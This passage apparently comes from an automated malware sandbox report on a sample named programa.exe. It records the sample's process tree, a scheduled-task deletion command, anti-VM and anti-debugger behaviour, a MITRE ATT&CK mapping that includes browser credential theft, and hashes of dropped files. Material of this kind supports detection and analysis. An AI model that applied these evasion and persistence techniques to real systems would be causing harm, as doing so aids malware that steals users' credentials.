        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView" --webview-exe-name=programa.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4276,i,7427039357043509060,4061718787113083050,262144 --variations-seed-version --mojo-platform-channel-handle=4240 /prefetch:8
        7⤵
        
        PID:2356
      - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=programa.exe --webview-exe-version=1.0.0.0 --user-data-dir="C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --mojo-named-platform-channel-pipe=3332.4144.7888642401286084551
        6⤵
        Drops file in Program Files directory
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of WriteProcessMemory
        
        PID:3164
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=132.0.2957.140 --initial-client-data=0x15c,0x160,0x164,0x138,0x16c,0x7ffc3d0bb078,0x7ffc3d0bb084,0x7ffc3d0bb090
        7⤵
        
        PID:5820
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView" --webview-exe-name=programa.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1740,i,8578814746017650401,5248142464094339533,262144 --variations-seed-version --mojo-platform-channel-handle=1736 /prefetch:2
        7⤵
        
        PID:4620
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView" --webview-exe-name=programa.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2052,i,8578814746017650401,5248142464094339533,262144 --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:3
        7⤵
        
        PID:3752
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView" --webview-exe-name=programa.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2120,i,8578814746017650401,5248142464094339533,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:8
        7⤵
        
        PID:4980
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView" --webview-exe-name=programa.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=3504,i,8578814746017650401,5248142464094339533,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1
        7⤵
        
        PID:4324
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView" --webview-exe-name=programa.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4468,i,8578814746017650401,5248142464094339533,262144 --variations-seed-version --mojo-platform-channel-handle=4492 /prefetch:8
        7⤵
        
        PID:716
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView" --webview-exe-name=programa.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4160,i,8578814746017650401,5248142464094339533,262144 --variations-seed-version --mojo-platform-channel-handle=3744 /prefetch:8
        7⤵
        
        PID:3540
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Delete /F /TN "HWiNFO32Setup"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4420

C:\Users\Admin\AppData\Roaming\HWiNFO32\programa.exe
C:\Users\Admin\AppData\Roaming\HWiNFO32\programa.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2976

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e5858cb.rbs

Path C:\Config.Msi\e5858cb.rbs
Size 8KB
SHA256 89ed22491adb414ae994b7b4afed9f57cdf83af307d81d86366d050a7d17ae3b
MD5 10e5cd93ebc690bc4d5fc7c3696ba43c
SHA1 d3945f1fa0f05ff7d7cce338f97cb94c58f27e8f
SHA512 fbef22c83fbd8cc883f77a98810206ec79bd440a15e8ca4b891bb2865738d9bdb0c6bed73f68004d384d508a155cfb6462a1b94112257b30edf348974b2355da
SSDEEP 96:75TEcKkc5ea8NcUhH6CsThqdUhH6C6jZgITThq1HYFQFRim/k+PpC6pPGB5x5EfW:7Ocwep7xpIzxpGUM6pPW
TLSH
T10F02FF05B3608592F9D52734DB061A147BABD3D8D321234BA8DD847C9F63B95AF3A4C3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.fingerprint

Path C:\Program Files\chrome_Unpacker_BeginUnzipping5196_1492529553\manifest.fingerprint
Size 66B
SHA256 c236a2ac7741d48e1c56980652331cb3f1f12baf937baf0b280600fbafb143e3
MD5 c28ffa45708f10e3a35143ed2708782f
SHA1 84a03f2615333c9311dbf79d6f58f56b5c009163
SHA512 beac0eacff45a152eb2a50f4d72db2933b8f8ba97e6f0a9f6811abe866fef5c7c83068151915dbdffaccaee5d0cd335d182671f44dbab6da2222266ff8a28ff0
TLSH
T169A022F3F000F02030022F8A80203C00C8A23BA80C8020808000BEE0200322A3A0C820
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping5196_1492529553\manifest.json
Size 135B
SHA256 ba5c9096d20a482aaa1aa9e5f98ad6127d3e97c2f21de84f7c78d9b8073c8e26
MD5 fbebd68ecaa98928909421f66909c054
SHA1 99d787d90f7ed2e5ad924f9c5668eb988b5a6c07
SHA512 749a3b2be47fe28399dc763888654a3e8d397e06e8d3c3af3965bb45846a1336e6ab4ca82c82c3df846b34a2afafa2156f2690e9bf347ab175408dc0171c61cc
TLSH
T158C04C668D51DEAB00A747A56B295315E23B4B4B5044800A7AF5429C1A288964171944
MD5 SHA1 SHA512 TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 d5d58c4d03f58601f8bceaeb3e59bc4c7dfdc82fa87d153d5edcb798f32ec555
MD5 e85ae3682d9ec5615e25ed8b4a820d82
SHA1 f5ccbaeb975a9e6d49457bf387bdc3d3d1dce8da
SHA512 52ef57bcf2e278191cadbe3f4829702e1c4d33aacc2f01c3e84d5026ffb5e36399435fcae2191882145d9a951bb5f6cc1cc551369290c835edc1a6eccc8040db
TLSH
T1A7413A48E6EA1118B3B76F1A9BF6996D487F7C372E06D45E10010E4F0667A40CDB1B37
MD5 SHA1 SHA512 TLSH

Submit Download

protocols.json

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\AutoLaunchProtocolsComponent\1.0.0.10\protocols.json
Size 3KB
SHA256 4fd800e7b1a5fb24b13fac2e31946d205012b7c28d8c61580b0669b2fa3517cc
MD5 1de85fec2dfcc28011a7c2aaab95eb5f
SHA1 80e8c954bfbe8f7ee5a2335c8d969ae033935dc3
SHA512 9c7dd37eb0c094b6aa05201e7c71a8f33b9db81284223bcfa595a44a6ac95d5a6820ab6f07b7aa8d26bf207454e94277bf35332e9c009ee63f083752b6b51750
TLSH
T1D1611DB79A3048090E3412B86B19B35DF63E029F1AD598EB76BE568F1F710F7245C54C
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Crashpad\settings.dat
Size 280B
SHA256 a8fef00535ddcb3aa1154732128a3f220e921bc1dfacc91a42d8a74bc9631a98
MD5 a74954796e0e65b6ab4b41e4374bfe9b
SHA1 25b28caca74d16536b35b41b751370e058f84225
SHA512 32194e0116a34e68ad1d28685f0bd5cbff655fac7f4414a790ce6dc684a16b490133e70dbc153b419c3f194b47b654f68abd8960c246bea27ba3540ba6880fb1
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Crashpad\settings.dat
Size 280B
SHA256 0c158bf1f550ccc5bb00b150e7712eb72d2732d19555037207b7c4d9890df845
MD5 239d77bbee538fdbb9e8a55b3d7b8f64
SHA1 9814b6bd8668d0fe2064632099b1ac7036a39831
SHA512 d776d29aefb215872e9aac33a3093b0d6896ec8606b6a9bf52652e763a07a7331cfa3a43a30f543caca84e3d7c193e407013edaa9dd8fe5ede02b00fcf1dc9e5
TLSH
T186D0121372828538C4102433400271091410C53B404540069428995E3A050900D02442
MD5 SHA1 SHA512 TLSH

Submit Download

throttle_store.dat

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Crashpad\throttle_store.dat
Size 20B
SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
MD5 9e4e94633b73f4a7680240a0ffd6cd2c
SHA1 e68e02453ce22736169a56fdb59043d33668368f
SHA512 193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Default\Network\Network Persistent State
Size 59B
SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
MD5 2800881c775077e1c4b6e06bf4676de4
SHA1 2873631068c8b3b9495638c865915be822442c8b
SHA512 e342407ab65cc68f1b3fd706cd0a37680a0864ffd30a6539730180ede2cdcd732cc97ae0b9ef7db12da5c0f83e429df0840dbf7596aca859a0301665e517377b
TLSH
T164A0026A99622D881B4A83902B18B547807B0445230982FDE43877A8415616D5C2C855
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Default\Preferences
Size 6KB
SHA256 5ab16eab3dc2b2fa5500671f4d53e6e00decd7788ac9ea3876fba7c9ccb27bb1
MD5 5cd6ed7dc4d62b2c29368d58f94e3567
SHA1 88ad52772b3bfc7630cc0e68aea74fa9b72a6717
SHA512 6f8924fb4f9c446949025ca807c6129146993a46c0984c3b628c0218f322dac279435545d681b9c5b86b46641881597b357e4bb83503fa1bd0f8ef7149bc6dcd
SSDEEP 96:stP705kZhJb9GsffCdZ8i0oEjklm/7qx+WVHMSm+uecadQj9+g8tMEB:stz0C2sfsZ8pFp/S+Wi8dUutM8
TLSH
T1A8D197175F68A97B4CCBF21DBA35BB42D2F6502266D50E58EBF8871C08D65CC130B90B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Default\Preferences
Size 6KB
SHA256 9dd06ba04d6c155ccc4ecb189e6743f902842ece9a3728cb8c05fec8fa751454
MD5 ed59265a738e166a5ae214cff2918d2d
SHA1 fa830fe4b88aa2bd863e6d4bbe6be6a54a6c4b28
SHA512 12f97607ff7daa03cdf765c7e94d6b665855acaa6c4a4829ed2e4203f49f283ffa3a7fc06c86c9dc7eb96226f90b1ce8d68b98a0f1ab5c14c147c7ecbf9fbdbe
SSDEEP 96:stP705kZhJb9Gsff4Z8i0vhEjklm/7qx+WVHMSm+uecadQj9+gRtMOB:stz0C2sfwZ8pap/S+Wi8dUztMC
TLSH
T1A9D1A6575E68A9774CCBF619BA35BF53E2F5202226D40E98EBFC861C05E66CC130790B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences~RFe597bed.TMP

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Default\Preferences~RFe597bed.TMP
Size 5KB
SHA256 5ee9d5f97dd6ab6acc3fb0e385611cc53025c154d5e786aa1290c14dc11e6284
MD5 07f98876efcbc96e4a3427601e198683
SHA1 794d06321283df32107c0117f438bbe169d5b8c2
SHA512 e5285b793d07a4b0784c7499dfd4ebe9ee47417909b6a8f8239e7409db1716fa3f535d848538ea72659b1cec65a8750a4a235716ee41afa07a762fb443716215
SSDEEP 96:stP705kZhJb9GgffCdZ8i0oEjklm/7qx+WVHMSm+uecadQj9+gWtMEB:stz0C2gfsZ8pFp/S+Wi8dUMtM8
TLSH
T199C197475F6CA97B4CCBF21DBA36BB42D2F6602166D50E58EBF8861C08D65CC530B90B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Local State
Size 4KB
SHA256 9a9895147089779fe4f4e0085e9b4aad55fb38177d21856367a18ac2f99ddb8c
MD5 77653599ca735781be5ef442a8769c2f
SHA1 fb981d3c66b743d2d327c79c11fe91265ab3970b
SHA512 aa3d74bff099e6a57bb49e524e6698e71e6e075323e1730f0f6933b7b948a7cc9671ad618dd5bf796c727a37e63de5ad3f9a21a4dddd483fb3a8c1a82cfe20d7
SSDEEP 96:zuabNkCb17ZpfcSwQ58Frh/cInURoDotoisfDwBCZF6tjZ15Tslaa:znbNbBZGH7ooDUDS0CZgFk
TLSH
T1E981B336A86899778DE7E944B98A3B437AA05127D1D97FE8DEED0F0C01DB29C1342C17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Local State
Size 17KB
SHA256 9c2a151a277f12c64d3825c49a188c64a833eb52d41146a603f640a5ce124174
MD5 a94e29a0b62e15873f26c4424adb762e
SHA1 9b67df25309d30d694d81e75580e815b0502081e
SHA512 30e07b94b93a9bcde18df659e907431660e090e68041bc936201f25377d2beb090245d9dba529cbf8b2f94ede5248bba10943ed0fa8d037ce307ee18d90acc9f
SSDEEP 384:z0fRE5BdEZfr0kuh9Rt/nP9yxNbBZwRO7T+sMyCVuJQ5:0RkurqhNsNZ3GXyCUQ5
TLSH
T1C2729D72C835D927ACFB82467A0A7B47A9F4458952DA6ED4ACDD2F0D06C36DE0353C23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Local State
Size 2KB
SHA256 b0bc50c9d6e8312c418aa12751166edab73082027341e4e10b9c4604cf2cd0ed
MD5 187f2342fef4fc96b3b3088be02cb4e8
SHA1 1cc8add9fa8ebd459adb3ce3aad95ea82c3e73ba
SHA512 dcd89c087094e0e90ea6e4630a09b88e4d0182cd51d288d1a14688dd6e7232fad21ea9f7c933faa5ab8d014ac74131faf1e950860b3b74365989239f4d9c0391
TLSH
T12151D773BC4C9AB789E7A514BA4A3F936E3516A997652F50EEED0B0C00C759C2303C67
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Local State
Size 3KB
SHA256 7f5c025b0ad0d4f39a54fd68e8eb2958778ed3a864440fa1d896020836d27095
MD5 4d9b06578561459a07d373ae35385805
SHA1 40773b22bc343ee9ea015d66d92f8777e6704b99
SHA512 3bbdfdc064d045045ed69646c40f46b6cbd92b489481665ccb79004b08085282b6216918b635a237db10c719207c2950dacddd3b6f9a1d0f77553627523f184b
TLSH
T1E071B63AA8A8D9778DE7E910B9862B577A651137D6943FA4DEED0F0C01C72981342C17
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Local State
Size 4KB
SHA256 f7c30c081b847e692ee22a95fdd2c44a733545e7a3ad7d075ec833a8ee4883b8
MD5 ef9ad7add4ab9fd2d85660e296021036
SHA1 1c60c0c733accd1b98ab22c43c661a3bbe678b43
SHA512 4966f604173ef98dfc54d95a7bf5c00676ddd00fd2f3ec8b5ab9938edfa34d074eef493d20b32c502691cc4312b6c49927b8b269e43de5f04414d4ef20eed1ea
SSDEEP 96:zuabNkCE7ZpfcSwQ58Frh/cInURoDotoisfDwBCZF6tjZ15Tslaa:znbNb+ZGH7ooDUDS0CZgFk
TLSH
T19281A336A86899778DE7E904B98A3B437AA05127D5997FD8DEED0F0C01DB29C1342C17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Local State
Size 1KB
SHA256 a4698b6f41b85e9b8c0dbaffc9a6ba2298f0cb0f11fb61739ff264ffb3f73f01
MD5 9a94d23f2eeb4e749e13ecbdc8067edd
SHA1 e1cfa054448ac8f59bc83c6c2baf0a07f6303a4f
SHA512 0ce440eeeb7e9e1bce070a2ec5c2f9bf24d38fc563063e5c5505b1fefea9d39e7058bbab6b4f08067638a3f6963803ca7b51b8848d65b3abd97a007bc91a1866
TLSH
T19F31A776F8DC5AB3ADD6B065B2826BD72D30197A82144E44EAEE0B0C11D75CC923BC23
MD5 SHA1 SHA512 TLSH

Submit Download

Local State~RFe58dcee.TMP

Path C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Local State~RFe58dcee.TMP
Size 1KB
SHA256 69a723fd60df7cb7328128c841abe54233ad800296322b1b64512b96854c8df6
MD5 375a6e09e4e44acdbcb1e3f6cd5908ad
SHA1 31f1c523c231878d0c87f98961933b5810e15ed4
SHA512 3e08a40960a616c472a5cfc26644b830f7e3044eccd23b41f3a5c0e4553183505d3d76af05a5ab529e13902d31665a936ba5aa6c235493060f61cd6cbe7f1b77
TLSH
T15B21657BE8DC59B6A985A474B28267CB2D20197A42144E08D9DE070D11C74DC8237C63
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Crashpad\settings.dat
Size 280B
SHA256 b4540eff632635a5cafef238eb063f7b4ff177bd81e8e215084c89bedd7ebafc
MD5 12f8a24251c5d8f8d6c1e81de1d2fc81
SHA1 ece040a871a32baf1b994947d02ff1e6297156e2
SHA512 a3eecfb9a5463033122a17174844650267e4541ce5d9cd3c9d92efb6f1dfeb8d89067e3b0d7d830e9cbf6d4c16cda57a2b9f14c149d9805cf542f0ff2a80384e
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Crashpad\settings.dat
Size 280B
SHA256 0066433367d9a6b1fb97992eae702d84496d5c9db2a4715f191b91efcbb14289
MD5 d7aaae61cbaee621e8ecf5d801b155b3
SHA1 3b69d92cd184e4ec500eb4e8ac387c04cd1d74f4
SHA512 22550b7f1a301f322d23f54333ea1c9279b886ae3453fcb541c7a185b084ef05d18a2c8af19cf1a605f2b42d539285252540c0be771df7caa83444dbff684a0d
TLSH
T197D012237301053CC8602033100371091400E11BC00AC100A428971D1B064540A034D1
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Default\Extension Rules\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Default\Extension Rules\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Default\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Default\GPUCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Default\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Default\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

Network Action Predictor

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Default\Network Action Predictor
Size 4KB
SHA256 8c471cab38a1696289186d01b06ff6af2a888852dc18d6fb8d2a0e54898104ed
MD5 d25d5e1dc1d93430e64ee17e48ce442e
SHA1 d5c7ca9a57e6cc68927a249fe8e601d52680ac7a
SHA512 f4cff7510b4ad81090e0b1842652f8eb7995f7aefd0ce651151bc24ca3a4305d34ecae41cf193d9b846e8f6359ccf545e5d05e63e6e766fa9761ccebce620f6c
TLSH
T154819284F7C02420DA306EF7A5024BB85E62CA82A5124F93487002D0FCA78ECDC75AAA
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Default\Preferences
Size 6KB
SHA256 1caf1fab0ca09be56d47a3dc9c9c7891d266bc727080658d4722788be2c1731a
MD5 f20a7f538b303f53dfc8d5fbfc522767
SHA1 682542cc487e8d44393f5f34e67932147069e5ff
SHA512 aa1b7882a160e2530077a3eae5ce57d7f96d577188896bd3908d94556fa0e8b59dca3a05da78cae9406372da312dce3e65a5b9c566618b7f35e0c1f8f63761ef
SSDEEP 96:stF05k8js0Jb9QffTdZ8i0oEkklm/7qx+WVHMSm+uecadQjR+g/4MEB:stF0CF0UfRZ8pFW/S+Wi8dMh4M8
TLSH
T130D197065F68A97B4CCBF61D7A35BF42D2F6602266D50E58EBF8871C08D65CD120B90B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Default\Preferences
Size 6KB
SHA256 ec90c25550ae1e8033af468d842c0d2d212ae058c60c2b259af5bbff62bbab4f
